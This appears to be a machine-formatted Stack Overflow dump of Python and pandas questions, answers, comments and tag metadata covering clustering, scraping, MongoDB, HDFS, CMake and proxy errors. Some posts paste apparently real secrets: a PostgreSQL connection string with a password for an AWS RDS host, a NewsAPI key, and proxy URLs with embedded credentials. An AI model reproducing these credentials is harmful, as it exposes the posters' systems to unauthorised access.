affinity_propagation.cluster_centers_indices_ tagged_sentences = zip(sentences, labels) clusters = {} for sentence, cluster_id in tagged_sentences: clusters.setdefault(sentences[cluster_centers[cluster_id]], []).append(sentence) #print(len(sentence)) return clusters #csv file filename = "/home/ubuntu/VA_data/first_50K.csv" df = pd.read_csv(filename, header = None) sentences = df.iloc[:, 0].values.tolist() clusters = get_clusters(sentences) Can anybody please suggest me efficient way of finding similarity matrix? My dataset contains 1 million sentences.
tagged with: matrix
has answer: http://stackoverflow.com/a/48679293

http://stackoverflow.com/comment/84488403
score: 0
comment on: http://stackoverflow.com/q/48744137
type: Comment
type: QuestionComment
has text: Zipping two lists iterates until the shorter list is exhausted.

http://stackoverflow.com/comment/84341615
type: Comment
has text: like a comma :)
comment on: http://stackoverflow.com/a/48671292
score: 0
type: AnswerComment

http://stackoverflow.com/comment/124641527
comment on: http://stackoverflow.com/a/48796827
score: 1
type: AnswerComment
has text: This no longer works in new versions of pandas.
type: Comment

http://stackoverflow.com/comment/84611064
has text: @Joe yes, but i only use it to calcualte numbers, and thats why i have a lots of arrays i need to comparer and migrate when i'm done with everything i do.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48803425
type: QuestionComment

http://stackoverflow.com/comment/84311106
has text: yes, m = mean and s = std deviation
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48655930

http://stackoverflow.com/q/48668306
has comment: http://stackoverflow.com/comment/84342792
accepted answer: http://stackoverflow.com/a/48669769
tagged with: python
possible better answer: http://stackoverflow.com/a/48672443
has title: Pandas Index Filter is Slower than Non-Index Column Filter
score: 1
has body: I timed two Pandas queries with the hope of achieving much higher speeds with a index. However, the opposite happened. Can someone explain why that is? or whether something I am doing is wrong? My understanding was, a Pandas index works as a hash table and look ups would happen in constant time. As far as row filtering is concerned, I believe it is a sequential filtering where each time a filter is applied, all the rows in the data frame is scanned. The data set has about 8 million rows and 7 columns. I am trying to filter by a combination of string values in a column in which the data is not unique. In [1]: import pandas as pd In [2]: df = pd.read_csv("/path/to/file", header=None, sep='\t', usecols=[0,1,2,3,5,6,7], names=['A', 'B', 'C', 'D', 'E', 'F', 'G']) In [3]: %timeit -n10 df[df['B'].isin(['S1', 'S2'])] 10 loops, best of 3: 145 ms per loop In [4]: df.dtypes Out[4]: A object B object C int64 D int64 E float64 F float64 G object dtype: object In [5]: df.shape Out[5]: (8468828, 7) After indexing: In [4]: df2 = pd.read_csv("/path/to/file", header=None, sep='\t', usecols=[0,1,2,3,5,6,7], names=['A', 'B', 'C', 'D', 'E', 'F', 'G']) In [5]: df2.set_index('B', inplace=True) In [6]: %timeit -n10 df2.loc'S1', 'S2' 10 loops, best of 3: 302 ms per loop
type: Question
tagged with: indexing
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48672443
tagged with: optimization
answer count: 2
tagged with: pandas
upvote count: 1
downvote count: 0
favorite count: 0
linked to: http://stackoverflow.com/q/16626058
has comment: http://stackoverflow.com/comment/84336833
has answer: http://stackoverflow.com/a/48669769

http://stackoverflow.com/q/48672245
linked to: http://stackoverflow.com/q/15197673
score: 2
answer count: 1
has comment: http://stackoverflow.com/comment/84342915
has answer: http://stackoverflow.com/a/48680541
tagged with: string
favorite count: 0
tagged with: beautifulsoup
upvote count: 2
linked to: http://stackoverflow.com/q/1894269
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48680541
has title: Converting data of list of lists from string format to lists
has body: I fetched some data using beautiful soup and python requests from a secondary url in the main html source of a website (i think that is what is called dynamic referencing) which was in the form of .js file link. Using beautiful soup i obtained the data (a list of lists), but it is all in string format, having a length of some 16000+. It is counting every entry, comma etc as a single entry. Though later i was able to get the data i required using selenium, but still, is there a way to convert the string data that i have into lists. There is like a sample secondary url that is being referenced by the main url/website. lets say this one, http://www.tennisabstract.com/cgi-bin/player.cgi?p=KeiNishikori When i go to it's html code it references the data from this file below. &lt;script type="text/javascript" src="http://www.minorleaguesplits.com/tennisabstract/cgi- bin/jsmatches/KeiNishikori.js"&gt;&lt;/script&gt; but when i extracted my data from here (it's a var named matchmx that i need), i got something like this, [["20170102", "Brisbane", "Hard", "A", "L", "5", "3", "", "F", "6-2 2-6 6-3", "3", "Grigor Dimitrov", "17", "7", "", "R", "25.6344969199", "188", "BUL", "0", "108", "4", "0", "69", "49", "36", "9", "12", "2", "5", "7", "2", "77", "52", "41", "12", "13", "5", "7", "1", "20170107-M-Brisbane-F-Grigor_Dimitrov-Kei_Nishikori.html", "", "", "2017-M020-300", "", "", ""], ["20170102", "Brisbane", "Hard", "A", "W", "5", "3", "", "QF", "6-1 6-1", "3", "Jordan Thompson", "79", "", "WC", "R", "22.7049965777", "", "AUS", "0", "61", "3", "0", "34", "19", "18", "10", "7", "0", "0", "1", "2", "47", "28", "15", "5", "7", "3", "8", "2", "", "", "", "2017-M020-295", "", "3", "2"],..... and so on but all as individual string giving me something like a length in 1000's. What to do to convert it into at best a list of list or how to use it to so that ultimately i could load it to a dataframe
tagged with: web-scraping
tagged with: python-requests
type: Question
downvote count: 0

http://stackoverflow.com/q/48662077
type: Question
tagged with: http://stackoverflow.com/tag/csv
has title: Exporting fields in mongo collection to csv
tagged with: python
has comment: http://stackoverflow.com/comment/84322409
score: 0
has comment: http://stackoverflow.com/comment/84321628
has comment: http://stackoverflow.com/comment/84323161
has body: I have mongo collection, in each document there is question and it's answer. For some collection there are multiple answers for question. When for all documents if there each single answer for each question, I was able to export Question answer to csv using mongoexport --db curiabot --collection justiaqa --type csv --fields question,answer --out justia.csv But as not there are multiple answer ranging from 1-10, I am confused how I create csv for QA. I want to export only Question ans Answers. This is one sample having 5 answers {'answer-0': u"Hi All,Me and my wife from Sri Lanka and we came to the USA with our Green cards about a year ago. After we received our Green card Visa, we could get our Divorce decision from Sri Lankan courts, then we came USA as divorced couple in Sri Lanka separetly. Now She\u2019s in CA and I'm in MD and we lives as singles. To USA government, we are still married because we didn\u2019t inform US authorities about we have got our divorce (papers issued with late). As we received our Sri Lankan court documents recently, now we can inform about that.So my questions are1. Do we have to file a divorce case in the US again?2. If not, to where should we provide those Sri Lankan court decision documents?3. Will this case effect to our Green Cards?4. What kind of things will occur if we both want to marry again(separately)I hope somebody might be in here would have any knowledge about this area will be able to give some advices.\xa0Even rough and logical possibilities , predictions\xa0are also appreciate.Thanks in advance.PkChari 0", 'answer-1': u'You should be working with an immigration attorney. On what basis were you granted green cards? If one was granted based on being married to someone who qualified, that person may no longer be eligible. https://www.uscis.gov/green-card/after-green-card-granted/conditional-permanent-residence/remove-conditions-permanent-residence-based-marriage\xa0\xa0A green card is not a visa. Do you have an actual gre…
has comment: http://stackoverflow.com/comment/84321657
type: UnansweredQuestion
tagged with: mongodb
has comment: http://stackoverflow.com/comment/84321679
answer count: 0
has comment: http://stackoverflow.com/comment/84323331

http://stackoverflow.com/q/48695445
upvote count: 1
tagged with: python
has body: The piece of code returns 10, which is what I would expect for i in range(5): if i == 0: output = i else: output += i print(output) Why does this code only return the dataframe created in the if section of the statement (i.e. when i ==0)? for i in range(5): if i == 0: output = pd.DataFrame(np.random.randn(5, 2)) else: output.append(pd.DataFrame(np.random.randn(5, 2)) print('final', output) The above is the MVCE of an issue I am having with this below code: More context if interested: for index, row in per_dmd_df.iterrows(): if index == 0: output = pd.DataFrame(dmd_flow(row.balance, dt.date(2018,1,31),12,.05,0,.03,'monthly')) else: output.append(pd.DataFrame(dmd_flow(row.balance, dt.date(2018,1,31),12,.05,0,.03,'monthly'))) print(output) Where I have an input DataFrame with one row per product with balances, rates, etc. I want to the data in each DF row to call the dmd_flow function (returns a generator that when called within pd.Dataframe() returns a 12 month forward-looking balance forecast) to forecast changes in the balance of each product based on the parameters in the dmd_flow function. I would then add all of the changes to come up with the net changes in balance (done using group by on the date and summing balances). Each call to this creates thew new DataFrame as I need: pd.DataFrame(dmd_flow(row.balance, dt.date(2018,1,31),12,.05,0,.03,'monthly')) but the append doesn't work to expande the output DataFrame.
type: AnsweredQuestion
type: Question
tagged with: for-loop
has answer: http://stackoverflow.com/a/48695482
tagged with: scope
tagged with: pandas
has title: Scoping in for loop with if statement- pandas.append does not work in loop
downvote count: 0
answer count: 1
score: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/48695482

http://stackoverflow.com/comment/84465600
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48732540
has text: num_parallel_calls is used when you want to have multiple threads to read input data. It is not related to batch_size.
score: 0

http://stackoverflow.com/comment/84594605
has text: @WillemVanOnsem Although no data is shared I think the question is quite clear, or what did I miss?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48795768

http://stackoverflow.com/a/48786151
type: Answer
answers question: http://stackoverflow.com/q/48785235
score: 1
has body: You may want to look into the File object. It allows you to manipulate files in a largely Pythonic manner, but leverages the Django project's storage settings. In my case, this allows me to use local, on-disk storage locally and S3 in production: https://docs.djangoproject.com/en/2.0/ref/files/file/ This will abstract away a lot of the boilerplate you're writing. There is an example here: https://docs.djangoproject.com/en/2.0/topics/files/#the-file-object Good luck!
upvote count: 1
has comment: http://stackoverflow.com/comment/84573608
downvote count: 0

http://stackoverflow.com/comment/84550128
type: QuestionComment
has text: The project seems to include a version of CPython. In that project there is an `Include` folder, containing `Python.h`. This file you need. Is that available in your system?
type: Comment
comment on: http://stackoverflow.com/q/48773594
score: 0

http://stackoverflow.com/q/48739175
tagged with: hdfs
tagged with: read-write
answer count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/84479731
favorite count: 0
has body: I have a local machine (local_user@local_machine). And a hadoop file system is present on a different server (some_user@another_server). One of the users in the hadoop server is named target_user. How do I access files present in target_user from local_user@local_machine? More precisely, say there's a file /user/target_user/test.txt present in the HDFS on some_user@another_server. What is the correct file path I should use when accessing /user/target_user/test.txt from local_user@local_machine? I can access the file in the hdfs itself with hdfs dfs -cat /user/target_user/test.txt. But I can't access the file from my local machine using a python script I have written to read &amp; write from the HDFS (that takes 3 arguments - local file path, remote file path, and read or write), most probably because I am not giving the correct path. I have tried the following, but none of them work: $ #local_user@local_machine $ python3 rw_hdfs.py ./to_local_test.txt /user/target_user/test.txt read $ python3 rw_hdfs.py ./to_local_test.txt some_user@another_server/user/target_user/test.txt read The all give the exact same error: Traceback (most recent call last): File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 377, in _make_request httplib_response = conn.getresponse(buffering=True) TypeError: getresponse() got an unexpected keyword argument 'buffering' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 560, in urlopen body=body, headers=headers) File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 379, in _make_request httplib_response = conn.getresponse() File "/usr/lib/python3.5/http/client.py", line 1197, in getresponse response.begin() File "/usr/lib/python3.5/http/client.py", line 297, in begin version, status, reason = self._read_status() File "/usr/lib/python3.5/http/client.py", line 279, in _read_status raise BadSta…
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84480186
downvote count: 2
tagged with: file
has answer: http://stackoverflow.com/a/48740061
linked to: http://stackoverflow.com/q/48702844
type: Question
tagged with: hadoop
has title: How do I access files on a hadoop file system present on a different server from my local machine?
has comment: http://stackoverflow.com/comment/84480159
upvote count: 0
score: -2

http://stackoverflow.com/q/48700095
has comment: http://stackoverflow.com/comment/84399847
type: UnansweredQuestion
downvote count: 2
tagged with: python
has body: I am taking a python course on www.adex.org. During course exercise I need to write a code for the following. Exercise: Write a function that accepts a number as argument and returns the square of the number. For example if the number passed to the function is 5 then your function should return 25. I have written the following code def mysquare(n): result = n**2 return result a = int(input("Please enter the number: ")) print (mysquare(a)) Error Message: Error in executing student function: ValueError at line 4 invalid literal for int() with base 10: '' The same code is working fine in python IDLE but not working fine on adex.org's editor. Any idea what could be reason for this error?
has comment: http://stackoverflow.com/comment/84399464
type: Question
has comment: http://stackoverflow.com/comment/84398736
upvote count: 0
score: -2
has title: invalid literal for int() with base 10: in python
has answer: http://stackoverflow.com/a/48700151
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/84305821
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48653770
type: Comment
has text: from tkinter import * root = Tk() def Waffles(): input ("Do you like Waffles? ") if answer is "False": print ("Ok, so you don't like Waffles...") input ("Do you like Pancakes? ") if answer is "yes" or "Yes": print ("Then let's fix some!!!") elif answer is "False": print ("Ok, so you don't like Pancakes...") input ("Do you like French Toast? ") if answer is "False": print ("Then let's fix some!!!") elif answer is "True": ...

http://stackoverflow.com/comment/84373291
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48687566
score: 0
has text: Can you describe the structure of your csv in more detail? How are you importing your csv file?

http://stackoverflow.com/a/48710205
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/48709358
accepted answer of: http://stackoverflow.com/q/48709358
has body: Try editing the following settings, it worked for me: settings.py USE_L10N = False DATETIME_INPUT_FORMATS = ('%Y-%m-%dT%H:%M:%S.%fZ',)
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84419428
type: Answer
has comment: http://stackoverflow.com/comment/84419348

http://stackoverflow.com/comment/84450605
type: QuestionComment
score: 0
has text: Retracted the answer as its a dupe. The short of it - you put the image in the figure but you are not showing the figure itself: use `plt.show()` after `plt.imshow(img)` Read up in See: [pyplot.imshow()](https://matplotlib.org/api/_as_gen/matplotlib.pyplot.imshow.html) See: [pyplot.show()](https://matplotlib.org/api/_as_gen/matplotlib.pyplot.show.html)
comment on: http://stackoverflow.com/q/48725707
type: Comment

http://stackoverflow.com/q/48670816
score: 5
has title: Packaging and installing python bindings with CMake
tagged with: distutils
answer count: 1
favorite count: 0
upvote count: 5
type: UnansweredQuestion
tagged with: python
tagged with: cmake
tagged with: c++
has answer: http://stackoverflow.com/a/64897798
downvote count: 0
has body: I have a C++ project that I have generated Python bindings for using SWIG. I am now trying to finish the CMake file for the project by adding an install operation. But whenever I finish the install and try to call my functions, I get an error stating foo has no attribute bar(). It has to do with the fact that Python doesn't know where the .so file that the bindings rely on is. If both foo.py and _foo.so are in the same directory I can use the bindings perfectly. I am struggling with figuring out how I am supposed to "install" both the Python bindings and the .so they depend on, all in a portable manner. Obviously I could just export the install path of the .so to LD_LIBRARY_PATH, but this seems like a hacky work around for what must have a proper solution. My CMakeLists.txt. I have cut out the bits related to compiling of my C++ lib RTK: # Project ## # TODO this actually needs 3.3+ cmake_minimum_required(VERSION 2.6) project(RTKLIB) FIND_PACKAGE(SWIG REQUIRED) INCLUDE(${SWIG_USE_FILE}) FIND_PACKAGE(PythonLibs 3 REQUIRED) INCLUDE_DIRECTORIES(${PYTHON_INCLUDE_PATH}) find_program(PYTHON "python3" REQUIRED) include(GNUInstallDirs) # Variable declarations ## # Define this directory set(RTKLIB_ROOT ${CMAKE_CURRENT_SOURCE_DIR}) # Define the build dir set(RTKLIB_BIN_DIR "${RTKLIB_ROOT}/build") list(APPEND CMAKE_MODULE_PATH "${RTKLIB_ROOT}/cmake") # Setup python vars set(SETUP_PY_IN "${RTKLIB_ROOT}/setup.py.in") # initial version of setup.py set(SETUP_PY "${RTKLIB_BIN_DIR}/setup.py") # cmake generated setup.py set(OUTPUT "${RTKLIB_BIN_DIR}/python_timestamp") # Timestamp used as dep set(RTKLIB_PY "rtk_lib") # name of the python lib # Set the output dir for SWIG set(CMAKE_SWIG_OUTDIR ${RTKLIB_BIN_DIR}/${RTKLIB_PY}) # Generate Python bindings ## # SWIG Config SET_PROPERTY(SOURCE include/rtk_lib.i PROPERTY CPLUSPLUS ON) SWIG_ADD_MODULE(${RTKLIB_PY} python include/rtk_lib.i) # Generate C-Python bindings SWIG_LINK_LIBRARIES(${RTKLIB_PY} RTK ${PYTHON_LIBRARIES}) # Link the bindings…
type: Question
tagged with: swig

http://stackoverflow.com/comment/84506156
type: AnswerComment
has text: This is true, but that doesn't work for lists of lists.
type: Comment
comment on: http://stackoverflow.com/a/48752661
score: 1

http://stackoverflow.com/comment/84398630
type: Comment
type: QuestionComment
has text: But how can you get a `.txt` if you don't unzip?
score: 0
comment on: http://stackoverflow.com/q/48699981

http://stackoverflow.com/comment/84478695
score: 4
comment on: http://stackoverflow.com/q/48739523
has text: can you show expected output? also, what have you tried so far
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84398537
has text: But if dont want use regex, then need Joe solution, if need regex (e.g. | for join strings) need my solution.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48699928
score: 1

python-ggplot
tags question: http://stackoverflow.com/q/48737366
tags question: http://stackoverflow.com/q/48791020
type: Tag
tag name: python-ggplot

http://stackoverflow.com/comment/84402725
comment on: http://stackoverflow.com/a/48684134
type: Comment
score: 0
type: AnswerComment
has text: what is the error? I run the exact code without issues. I have added vars initialization to help you with debugging.

http://stackoverflow.com/a/49957347
type: Answer
answers question: http://stackoverflow.com/q/48649796
score: 0
has body: First of all, if your data is in the format you indicated you should make sure that numbers such as 1e92283336 can be interpreted are not interpreted in different way than you intended. For example with json &gt;&gt;&gt; json.loads('{"secret" : 1e92283336, "server_id" : 2, "farm_id": 1, "size" : "m"}') {u'secret': inf, u'farm_id': 1, u'server_id': 2, u'size': u'm'} After you successfully imported the fields to a dictionary there are multiple ways you can use string interpolation and formatting. Apart from the str.format specifier mentioned in previous answer you can use the traditional % style formatting as below (note the format specifier s after the closing parentheses) &gt;&gt;&gt; url = "https://farm%(farm-id)s.staticflickr.com/%(server-id)s/%(photo-id)s_%(secret)s.jpg" &gt;&gt;&gt; print url % {'secret': '1e92283336', 'server-id': '2', 'farm-id': '1', 'size': 'm', 'photo-id' : '1418878'} https://farm1.staticflickr.com/2/1418878_1e92283336.jpg You can also use Template Strings which uses the Template class from the string module. This would be more familiar to bash/perl programmers. The template string is of the form below. The placeholders (within optional braces) must be valid python identifiers so it cannot contain characters such as -. The first non-identifier character terminates the placeholder. With safe_substitute method if any placeholder value is missing it will put the original placeholder instead of raising a key error. &gt;&gt;&gt; from string import Template &gt;&gt;&gt; s = Template("https://farm${farm_id}.staticflickr.com/${server_id}/${photo_id}_${secret}.jpg") &gt;&gt;&gt; s.substitute({'secret': '1e92283336', 'server_id': '2', 'farm_id': '1', 'size': 'm', 'photo_id' : '1418878'}) 'https://farm1.staticflickr.com/2/1418878_1e92283336.jpg' &gt;&gt;&gt; s.safe_substitute({'server_id': '2', 'farm_id': '1', 'size': 'm', 'photo_id' : '1418878'}) 'https://farm1.staticflickr.com/2/1418878_${secret}.jpg'

http://stackoverflow.com/q/48723012
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48723278
has answer: http://stackoverflow.com/a/48723467
type: Question
possible better answer: http://stackoverflow.com/a/48723467
accepted answer: http://stackoverflow.com/a/48723320
tagged with: python-2.7
score: 0
answer count: 3
has body: How to I make it so in the code below when you register a username and password it it adds a new line to the txt files and when you login it checks every line in the txt files sepretly and declaring it as correct if any of the lines match the login instead of it checking if the username and password matches the whole thing print "Welcome to UserName and Password Test" option = raw_input("Would you like to login or register L for Login R for register: ") if option == "R": print "Warning Only 1 user can be registered" usernamer = raw_input("Desired Username: ") passwordr = raw_input("Desired Password: ") file = open("Username.txt","w") file.write(usernamer + '\n') file.close() file = open("Password.txt","w") file.write(passwordr + '\n') file.close print "Registered" else: usr = raw_input("Username: ") pss = raw_input("Password: ") file = open("Username.txt","r") if usr == file.read(): print "Username correct" file.close() else: print "Username incorrect or not registered" file.close() file = open("Password.txt","r") if pss == file.read(): print "Password correct" file.close() else: print "Password incorrect or not registered" file.close()
has comment: http://stackoverflow.com/comment/84444872
has title: Read only lines and not the entire thing in python 2.7
tagged with: python
has answer: http://stackoverflow.com/a/48723320

http://stackoverflow.com/a/48668644
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/48668580
has body: With query I can filter the values of a csv column and take all columns! def group(): df = pd.read_csv('Impresiones_VIDEO.csv', sep=',') df = df.groupby(["Cliente","Sitio","Country"], as_index=False)['Subastas', 'Impresiones_exchange', 'Importe_a_cobrar', 'Importe_a_pagar_a_medio'].sum() df["Fill_rate"] = ((df.Impresiones_exchange / df.Subastas )* 100).round(2) df["eCPM_a_cobrar"] = ((df.Importe_a_cobrar / df.Impresiones_exchange )* 1000).round(2) df["eCPM_a_pagar_a_medio"] = ((df.Importe_a_pagar_a_medio / df.Impresiones_exchange )* 1000).round(2) df_filtered = df.query('Impresiones_exchange&gt;10') df_filtered.to_csv('Impresiones_VIDEO.csv', index=False)
downvote count: 0
type: Answer

http://stackoverflow.com/comment/84510786
comment on: http://stackoverflow.com/q/48754078
has text: In build_tokenizer from TfidfVectorizer documents are processed sequentially (one after other) and thus my function in there gets repetitive values. When all documents are processed, you get vocabulary from term-document matrix - in this point I want to put my function. Then features are filtered by min_df and max_df. So how to access that point to put my function in?
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/133388899
type: Comment
comment on: http://stackoverflow.com/a/48830576
score: 0
has text: edit: I just added the requested code
type: AnswerComment

http://stackoverflow.com/a/48761437
has comment: http://stackoverflow.com/comment/84526703
has body: You can use for remove times floor, then creare new column for months and last add them by DateOffset: rng = pd.date_range('2017-01-03 15:14:01', periods=30, freq='300H') customer = pd.DataFrame({'ticket_start': rng, 'product_name': ['3 month free'] * 5 + ['4 month free'] * 5 + ['6 month free'] * 10 + ['9 month free'] * 5 + ['2 month free'] * 5} ) #print (customer) customer['ticket_start']=(pd.to_datetime(customer['ticket_start'],format='%Y-%m-%d %H:%M:%S') .dt.floor('d')) d = {'3 month free' : 1, '4 month free': 4, '6 month free':6, '9 month free':9} customer['m'] = customer['product_name'].map(d).fillna(1).astype(int) customer['ticket_end'] = customer.apply(lambda x: x['ticket_start'] + pd.offsets.DateOffset(months=x['m']), axis=1) print (customer) product_name ticket_start m ticket_end 0 3 month free 2017-01-03 1 2017-02-03 1 3 month free 2017-01-16 1 2017-02-16 2 3 month free 2017-01-28 1 2017-02-28 3 3 month free 2017-02-10 1 2017-03-10 4 3 month free 2017-02-22 1 2017-03-22 5 4 month free 2017-03-07 4 2017-07-07 6 4 month free 2017-03-19 4 2017-07-19 7 4 month free 2017-04-01 4 2017-08-01 8 4 month free 2017-04-13 4 2017-08-13 9 4 month free 2017-04-26 4 2017-08-26 10 6 month free 2017-05-08 6 2017-11-08 11 6 month free 2017-05-21 6 2017-11-21 12 6 month free 2017-06-02 6 2017-12-02 13 6 month free 2017-06-15 6 2017-12-15 14 6 month free 2017-06-27 6 2017-12-27 15 6 month free 2017-07-10 6 2018-01-10 16 6 month free 2017-07-22 6 2018-01-22 17 6 month free 2017-08-04 6 2018-02-04 18 6 month free 2017-08-16 6 2018-02-16 19 6 month free 2017-08-29 6 2018-02-28 20 9 month free 2017-09-10 9 2018-06-10 21 9 month free 2017-09-23 9 2018-06-23 22 9 month free 2017-10-05 9 2018-07-05 23 9 month free 2017-10-18 9 2018-07-18 24 9 month free 2017-10-30 9 2018-07-30 25 2 month free 2017-11-12 1 2017-12-12 26 2 month free 2017-11-24 1 2017-12-24 27 2 month free 2017-12-07 1 2018-01-07 28 2 month free 2017-12-19 1 2018-01-19 29 2 month free 2018-01-01 1 2018-02-01
has comment: http://stackoverflow.com/comment/84526551
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84531121
has comment: http://stackoverflow.com/comment/84527604
type: Answer
has comment: http://stackoverflow.com/comment/84533843
has comment: http://stackoverflow.com/comment/84527146
has comment: http://stackoverflow.com/comment/84531775
has comment: http://stackoverflow.com/comment/84529877
downvote count: 0
answers question: http://stackoverflow.com/q/48760683
score: 1
has comment: http://stackoverflow.com/comment/84531689
has comment: http://stackoverflow.com/comment/84533403
accepted answer of: http://stackoverflow.com/q/48760683
has comment: http://stackoverflow.com/comment/84527069

http://stackoverflow.com/comment/84496954
comment on: http://stackoverflow.com/q/48748014
has text: @BoboDarph- No that didn't work out :(
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84399982
comment on: http://stackoverflow.com/a/48680999
score: 0
type: Comment
has text: here we are returning s[gender], what if I want to return multiple parameters ? I have age_range as another parameter for my function gen_mpaa, and I want to return that as well. How do I do it?
type: AnswerComment

http://stackoverflow.com/q/48711170
has title: Python: How to implement Multiprocessing in a Pandas GroupBy Apply?
type: UnansweredQuestion
tagged with: python
has body: Problem: Essentially, I am querying from SQL to return a dataset, then I want to split that dataset into groups by autonumber, and then apply a bit of logic contained in the function get_currentdate to return the Last Transaction Date of each autonumber. To accomplish this I used pandas' groupby and apply functions, but it takes just over a minute to run. I'm wondering if I can speed things up through multiprocessing. How can I go about doing this? Code: class findLastTransactionDate: conn = create_engine( "postgresql://progressa_admin:0Ce25%J4Jsx%@data-analytics.cvfvngfjabzl.us-west-1.rds.amazonaws.com:5432/dataanalytics", execution_options=dict(stream_results=True)) def query(self): """Returns General Ledger transactions data from RDS""" sql = """SELECT ge.LoanAgreementID, ge.TransactionDate, ge.GeneralLedgerType, ge.Amount, la.AutoNumber FROM lms_data.general_ledger ge LEFT JOIN lms_data.loan_agreements la ON ge.LoanAgreementID = la.LoanAgreementID WHERE la.loanstatus NOT IN (10,90) AND ge.GeneralLedgerType IN (7,9)""" data = [] for chunk in pd.read_sql(sql, self.conn, chunksize=10000): data.append(chunk) df = pd.concat(data) df = df.sort_values('transactiondate', ascending=True) df = df.set_index('transactiondate') df = df.loc[datetime.date(year=2013, month=9, day=13):(datetime.date.today() + datetime.timedelta(days=3))].reset_index() ddf = dd.from_pandas(df, npartitions=3) return ddf @staticmethod def get_currentdate(row): """Logic tree for returning the last transaction date of the loan""" Debit = row[(row['generalledgertype'] == 7)]'autonumber', 'amount', 'transactiondate'.sort_values( 'transactiondate', ascending=False).reset_index(drop=True) Return = row[(row['generalledgertype'] == 9)]'autonumber', 'amount', 'transactiondate'.sort_values( 'transactiondate', ascending=False).reset_index(drop=True) if len(Debit.autonumber) == 0: return np.nan elif len(Return.autonumber) == 0: return Debit.transactiondate[0] elif (len(Debit.autonumber) &gt; 0) &amp; (…
answer count: 0
has comment: http://stackoverflow.com/comment/84423933
has comment: http://stackoverflow.com/comment/84428277
tagged with: multiprocessing
type: Question
tagged with: apply
score: 0
tagged with: pandas-groupby
tagged with: pandas
has comment: http://stackoverflow.com/comment/84422855
has comment: http://stackoverflow.com/comment/84422019

http://stackoverflow.com/comment/84518841
type: QuestionComment
has text: The edit did not improve it.
score: 0
comment on: http://stackoverflow.com/q/48758798
type: Comment

http://stackoverflow.com/comment/129657279
type: AnswerComment
type: Comment
has text: I have tried uncompyle6 and worked like a charm! thank you very much
comment on: http://stackoverflow.com/a/48777918
score: 0

http://stackoverflow.com/q/48652393
has comment: http://stackoverflow.com/comment/84302861
linked to: http://stackoverflow.com/q/43578843
tagged with: python
has answer: http://stackoverflow.com/a/48652490
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84302883
score: 1
has body: I am attempting to load a dataset from file containing approximately 3 million json-serialized objects. Each object is a large nested dictionary containing a variety of types -- ints, floats, lists, and other dictionaries. The size of the file on disk is approximately 60GB. I have over 128GB of ram so I should be able to fit the whole set in memory. However, when I load the data into a large dictionary using the following code, the size of used memory increases to at least 110GB (it might even get larger but I stopped the script before it grew any more.) What could explain the memory overhead I am seeing when I try to load this data? Why would 60GB on disk translate to 110GB or more in memory? As far as I can tell, the only overhead here should be the result of creating list containers for objects, and for assigning those lists a key name in the results dictionary. That can't possibly account for almost twice as much memory as the data itself -- can it? def load_by_geohash(file, specificity=7): results = defaultdict(list) filename = os.path.join(DATADIR, file) with open(filename, 'r') as f: updates = (json.loads(line) for line in f) for update in updates: geo_hash = update['geohash'][:specificity] results[geo_hash].append(update) return results
upvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/48652490
has title: Why would memory overhead of dictionary of data be double that of the same data on disk?
has comment: http://stackoverflow.com/comment/84302911
has comment: http://stackoverflow.com/comment/84302917
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/84302866
favorite count: 0
tagged with: python-3.x

http://stackoverflow.com/comment/84498873
score: 0
has text: have you read the google cloud documentation? https://google-auth.readthedocs.io/en/latest/user-guide.html#service-account-private-key-files
type: Comment
comment on: http://stackoverflow.com/a/48748923
type: AnswerComment

http://stackoverflow.com/q/48788776
has title: Got proxy authentication error in python
tagged with: authentication
answer count: 0
downvote count: 0
type: UnansweredQuestion
score: 1
has body: This is my code for News API, I got an error for the proxy settings, which might not be in a correct way I guess. I need help in resolving Authentication error to set proxy. Code: from newsapi import NewsApiClient from requests.auth import HTTPProxyAuth # Init api = NewsApiClient(api_key='b6d976f8d22a4dfsdfgdfgsfASAS453410c37') http_proxy = "https://7031:Welcome1567@58.2.64.2:31" https_proxy = "http://7031:Welcome1567@58.2.64.2:31" ftp_proxy = "https://7031:Welcome1567@58.2.64.2:31" proxyDict = { "http" : http_proxy, "https" : https_proxy, "ftp" : ftp_proxy } auth = HTTPProxyAuth('username', 'mypassword') # /v2/top-headlines top_headlines = newsapi.get_top_headlines(q='bitcoin', sources='bbc-news,the-verge', category='business', language='en', country='us') # /v2/everything all_articles = newsapi.get_everything(q='bitcoin', sources='bbc-news,the-verge', domains='bbc.co.uk,techcrunch.com', from_parameter='2017-12-01', to='2017-12-12', language='en', sort_by='relevancy', page=2) # /v2/sources sources = newsapi.get_sources() Error I got from output is: Output: File "D:\anaconda3\lib\site-packages\requests\adapters.py", line 502, in send ProxyError: HTTPSConnectionPool(host='newsapi.org', port=443): Max retries exceeded with url: /v2/top-headlines?q=bitcoin&amp;sources=bbc-news%2Cthe-verge&amp;language=en&amp;country=us&amp;category=business (Caused by ProxyError('Cannot connect to proxy.', OSError('Tunnel connection failed: 407 authenticationrequired',)))
type: Question
tagged with: http-proxy
favorite count: 0
